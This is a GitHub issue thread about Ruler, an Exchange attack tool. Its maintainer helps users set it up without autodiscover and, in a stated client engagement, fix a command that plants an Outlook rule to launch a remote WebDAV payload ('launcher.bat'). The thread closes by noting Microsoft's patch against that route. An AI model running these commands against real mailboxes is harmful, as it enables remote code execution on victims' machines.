Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

No autodiscover.xml #31

Closed
nano6yt3 opened this issue May 4, 2017 · 26 comments
Closed

No autodiscover.xml #31

nano6yt3 opened this issue May 4, 2017 · 26 comments

Comments

@nano6yt3
Copy link

nano6yt3 commented May 4, 2017

Hi,

Thank you for this awesome tool.

I wonder if there is a way to set the parameter that normally would be parsed from the discover.xml?

My problem is that the Exchange server is not well configured and the discover.xml does not exist. I keep getting the following error.

./ruler-linux64 --email email@address --username name --password Password --basic --verbose check
[+] Retrieving MAPI/HTTP info
[] Autodiscover step 0 - URL: https://domain/autodiscover/autodiscover.xml
ERROR: 2017/05/04 15:09:35 Failed, StatusCode [301]
[
] Autodiscover step 1 - URL: https://autodiscover.domain/autodiscover/autodiscover.xml
[*] Autodiscover step 2 - URL: http://autodiscover.domain/autodiscover/autodiscover.xml
ERROR: 2017/05/04 15:09:36 Failed, StatusCode [404]
ERROR: 2017/05/04 15:09:36 The autodiscover service request did not complete.
Permission Denied or URL not found: StatusCode [404]

I know I could set the URI with --url, but the problem is that there is no discover.xml.

Thank you

@staaldraad
Copy link
Collaborator

Hi

Thank you, I hope it's been of use.

Unfortunately no, there is no way as there as specific values coming out of the autodiscover.xml that are required. In particular the DN for the user

 <LegacyDN>/o=ExchangeLabs/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=13│
0d3c8212384d012304b05fe83acd7b-username</LegacyDN>     

This is required for the MAPI authenticate happening, and is separated from the usual user credentials. I haven't found a way to get this value other than through the autodiscover unfortunately.

I would try look around at other possible locations such as:

^ the last one might be relevant as I see that you receive a 301 from the first discover request, which ruler may not be following correctly (although it should)

hope this helps!

@nano6yt3
Copy link
Author

nano6yt3 commented May 4, 2017

Hi,

Thank you for your quick reply. Yes, the tool seems fantastic, this is the first time I'm using it.

Since I have already access through OWA I know that information. I'm referring to:

<LegacyDN>/o=ExchangeLabs/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=13│
0d3c8212384d012304b05fe83acd7b-username</LegacyDN>

I think we could have another argument to input that string if that's the only think the tool is getting from discover.xml. What would be your thoughts on that?

Also, thank you for your suggestions, I tried all those places and others. Unfortunately, I'm certain the discover.xml file does not exist. It is interesting that the HTTP code is 301, because in that location there is nothing.

Thank you

@staaldraad
Copy link
Collaborator

In that case, it may be possible. Especially if it is using MAPI/HTTP.

I have a feeling there might be an issue, for RPC/HTTP, with locating the rpcproxy end-point without the server info from autodiscover. But all the information can in theory be supplied manually.

Tomorrow I will have some time to dig into it, maybe I'll add an option to supply a config file with the required info, that could work nicely.

@nano6yt3
Copy link
Author

nano6yt3 commented May 4, 2017

That's fantastic, I will keep a watch on the tool for that next version. Theoretically, it should solve this problem about no having a autodiscover.xml resource.

Thank you very much

@staaldraad
Copy link
Collaborator

I've created a new branch: https://github.com/sensepost/ruler/tree/manualconfig

If you have time and are able to build, it would be great if you can test it out. Alternatively if you can tell me what OS you are using, I can supply a pre-built binary.

config options override the command-line options, if they are set. The important ones are:

  • userdn
  • mailbox
  • rpcurl
  • mapiurl

If RPC is used, you need to set the RPC url and set rpc to true.
The Mailbox needs be extracted out of OWA, for Office365, this value can be found in the RoutingKeyCookie value. for example, mine would be:

RoutingKeyCookie=v1:12344721-eafc-483d-adf4-4f39fe6bbc22@domain.com;

the Mailbox is : 12344721-eafc-483d-adf4-4f39fe6bbc22@domain.com

For the RPCURL and MAPI URL, the values need to be the full path, upto the arguments. basically the same as they are in the current config file.

To specify the config: ./ruler --config config.yml check

@nano6yt3
Copy link
Author

nano6yt3 commented May 5, 2017

I'm impressed. You did this really quickly. Thank you, I will try to build it and test it. Also, I'm running this tool in Kali Linux

@staaldraad
Copy link
Collaborator

https://github.com/sensepost/ruler/releases/tag/2.1.5
^ here you go, some pre-built binaries.

:) Happy to add features! Normally I only find out that Ruler is being used when something breaks.

@nano6yt3
Copy link
Author

nano6yt3 commented May 5, 2017

Awesome, thank you for the new branch. :-D

I was looking at your config.tml file and I tried to replicate the format as much as possible with my information, but I'm getting the following:

ERROR: 2017/05/05 10:30:40 mapi: a transport layer error occurred. Got a protocol error response:

It may be the way I'm setting the parameters. What would be your suggestion?

Also, I noticed that even thought the email, username, and password are set in the config file the tool still expects those parameters to be set on the command line.

@staaldraad
Copy link
Collaborator

I'll fix the ordering of the params.

My current config looks as follows.

username: ""
email: ""
password: ""
hash: ""
domain: ""
userdn: "/o=First Organization/ou=Exchange Administrative Group(FYDIBOHF23SPDLT)/cn=Recipients/cn=0000000DFEF9FB24"
mailbox: "000000000-fef9-fb24-0000-000000000000@outlook.com"
rpcurl: "https://outlook.office365.com/rpc/rpcproxy.dll"
rpc: false
rpcencrypt: true
mapiurl: "https://outlook.office365.com/mapi/emsmdb/"

A good test would be to go to the RPC url in browser, authenticate and see if you get a 503 error, it is correct.

The mailbox needs to be a GUID @ domain

@nano6yt3 nano6yt3 changed the title No discover.xml No autodiscover.xml May 5, 2017
@nano6yt3
Copy link
Author

nano6yt3 commented May 5, 2017

Thank you for all the info you have been very helpful. Unfortunately, I'm not able to run the tool successfully. It can also be that the GUID. I think I have is not correct. Not sure since in OWA I only see the "Exchange mailbox address", which is in the format:

"/o=First Organization/ou=Exchange Administrative Group(FYDIBOHF23SPDLT)/cn=Recipients/cn=0000000DFEF9FB24"

I equate that to the "userdn" in the tool. The rest of the parameters mailbox (GUID@domain) could be obtained from there, but I haven't been successful. And I may not even have the right mapiurl either . :/

In any case, in my last run I encounter this:

./ruler-linux64-config --email email.com --password pass --username name --config config.yml --verbose display
[*] Setting up channels
[+] Binding to RPC
panic: runtime error: slice bounds out of range

goroutine 10 [running]:
panic(0x772f80, 0xc420010150)
	/usr/lib/golang/src/runtime/panic.go:500 +0x1a1
github.com/sensepost/ruler/utils.ReadUint16(0x8, 0xc42011c448, 0x7, 0x8, 0x656c79, 0x8)
	/home/staaldraad/Go/gopath/src/github.com/sensepost/ruler/utils/utils.go:197 +0x88
github.com/sensepost/ruler/rpc-http.(*RPCResponse).Unmarshal(0xc42014be60, 0xc42011c448, 0x7, 0x8, 0x0, 0xc420125800, 0x8)
	/home/staaldraad/Go/gopath/src/github.com/sensepost/ruler/rpc-http/packets.go:466 +0xec
github.com/sensepost/ruler/rpc-http.RPCOpenOut(0xc420084b40, 0x9d, 0xc42005f020, 0xc42005f080, 0xc42012a000, 0x0)
	/home/staaldraad/Go/gopath/src/github.com/sensepost/ruler/rpc-http/rpctransport.go:231 +0x247
created by github.com/sensepost/ruler/rpc-http.RPCOpen
	/home/staaldraad/Go/gopath/src/github.com/sensepost/ruler/rpc-http/rpctransport.go:180 +0x10e

I was running it with "rpc: true"

@staaldraad
Copy link
Collaborator

I got a feeling the mailbox value may be incorrect. It could also explain the panic you are getting there as an incorrect RPCURL should lead to a caught error.

So those are two things I'll dig into,

  1. an easy way to get the mailbox value out of OWA - this is easy on office365, not sure of on premise Exchange
  2. detect and prevent the panic

I'll mess around with this over the next few days 👍 I do like this feature, I've already used it myself! thanks for getting me to look into it

@staaldraad
Copy link
Collaborator

Ok, I've found a way to get some of the info you need.

In OWA, you need to go to Options -> About
The URL is usually: https://owadomain/?ae=Options&t=About

From there you need the following info:
Exchange mailbox address -> this is your userdn
Exchange Client Access server name -> this is your mailbox

Still searching for info on the RPC / MAPI URLs 👍

@nano6yt3
Copy link
Author

nano6yt3 commented May 8, 2017

Thank you for the info! :) . I was using exactly that information from the Options/About tab. But, I wasn't sure of the "mailbox" value, so it is good to confirm.

I'm still getting the same problem.

mapi: a transport layer error occurred. Got a protocol error response:

I think it may have to do with the MAPI url. Thank you for taking the time to address this.

@staaldraad
Copy link
Collaborator

One last try :)

I've just had it work for me, so maybe you get lucky as well. There is a pretty good chance that RPC is on the same host as OWA.. so simply add the owa host in the rpcurl

I'm pushing updated binaries for Ruler, the config file has an additional line option you'll need to set:
Make sure ntlm is set to true for the first attempt, you can switch to false if you get a 401.

username: ""
email: ""
password: ""
hash: ""
domain: ""
userdn: "/o=First Organization/ou=Exchange Administrative Group(FYDIBOHF23SPDLT)/cn=Recipients/cn=0003BFFDFEF9FB24"
mailbox: "0003bffd-fef9-fb24-0000-000000000000@outlook.com"
rpcurl: "https://mail.somedomain.com/rpc/rpcproxy.dll"
rpc: true
rpcencrypt: true
ntlm: true
mapiurl: ""

@nano6yt3
Copy link
Author

nano6yt3 commented May 11, 2017

Thank you! I will give it a try once you the latest binary. Update: I see you just put it...great!!

@dciphers
Copy link

Hi,

Just wondering if you can help with the following please?

Awesome tool by the way.

./ruler-linux64 --noencrypt --config config.yml check

[+] Binding to RPC
ERROR: 11:18:31 ruler.go:29: mapi: a transport layer error occurred. An error occurred setting up RPC.
Unable to obtain a session context
Try again using the --encrypt flag. It is possible that the target requires 'Encrypt traffic between Outlook and Exchange' to be enabled

./ruler-linux64 --encrypt --config config.yml check

Incorrect Usage. flag provided but not defined: -encrypt

NAME:
ruler - A tool to abuse Exchange Services

Thanks very much.

@staaldraad
Copy link
Collaborator

Hi and thanks!

The output of try again using the --encrypt flag is outdated and I should fix that, mi culpa. This is from the early days of RPC/HTTP support, where ruler defaulted to using unencrypted RPC messages. This subsequently changed to "encrypt by default", I forgot to update the message.

To control the encryption you can use the config file (which I see you already are):

rpcencrypt: true

If this doesn't work, running with --debug should dump the last RPC message before the error, possibly indicating why this has failed. I have a feeling domain might be playing a role.

@dciphers
Copy link

I removed the domain from the config and I'm in. Really do appreciate the fast response, the root is calling ;)

@staaldraad
Copy link
Collaborator

awesome! Happy pwnage Friday! 🎉 😄 😈

@dciphers
Copy link

dciphers commented May 11, 2018

Not quite yet :-)

./ruler-linux64 --verbose --debug --config config.yml --username bob.smith --name troopers --trigger troopers17 --location "\\192.168.1.10\w\launcher.zip\launcher.bat" --send

Incorrect Usage. flag provided but not defined: -name

There doesn't seem to be any reference to --name --trigger --location and the requirements for these flags?

I pulled this command from the video on YouTube.

Thanks again for your help.

@dciphers
Copy link

I think I have worked it out now with the ./ruler add --help command.

The only thing I am struggling with is the --location tab for an internet facing host?

I have used the following:

--location "\\192.168.13.37\w\launcher.zip\launcher.bat"

But this isn't touching the webdav logs?

Thanks.

@staaldraad
Copy link
Collaborator

The location's slashes need to be doubled up when using " (a linux cmdline thing)

so: --location "\\\\192.168.13.37\\w\\launcher.zip\\launcher.bat"

or if using single quotes: --location '\\192.168.13.37\w\launcher.zip\launcher.bat'

@dciphers
Copy link

Excellent thanks, I had a feeling after I posted.

It is now running but ruler seems to hang on:

[+] Auto Send enabled, wait 30 seconds before sending email (synchronisation)
[+] Sending email

Not getting the:

[+] Message sent

I am collaborating with the client and there should be no restriction on the FW, the only thing I can think is AV is catching the launcher?

@staaldraad
Copy link
Collaborator

strange that the send isn't happening, this should be independent of AV. You could try to either manually send an email with the correct trigger in the subject (say from your company address) or you can try with the send function in ruler.

send --subject test --body "this is a test"

https://github.com/sensepost/ruler/wiki/Rules#send

@dciphers
Copy link

That worked a treat, seems after logging into Outlook there is an error with the rule. Upon investigation it looks like Microsoft have patched Outlook to not run scripts by default.

  • Disables the rule actions to start an application or run a macro in Outlook 2016. You can also enable them by setting the EnableUnsafeClientMailRules registry value, see KB3191893 for more information.

https://support.microsoft.com/en-gb/help/3191883/may-2-2017-update-for-outlook-2016-kb3191883

Thanks again for the support. So near yet so far haha.

@staaldraad
Copy link
Collaborator

Yes that is correct, they patched rules, and a little while later the forms avenue as well. The homepage patch came out last year September as well. It is probably worth verifying that the other patches have also been applied.

Fortunately/Unfortunately they have been shutting down this avenue, so if companies are diligent in applying patches for Office, they should be protected.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

3 participants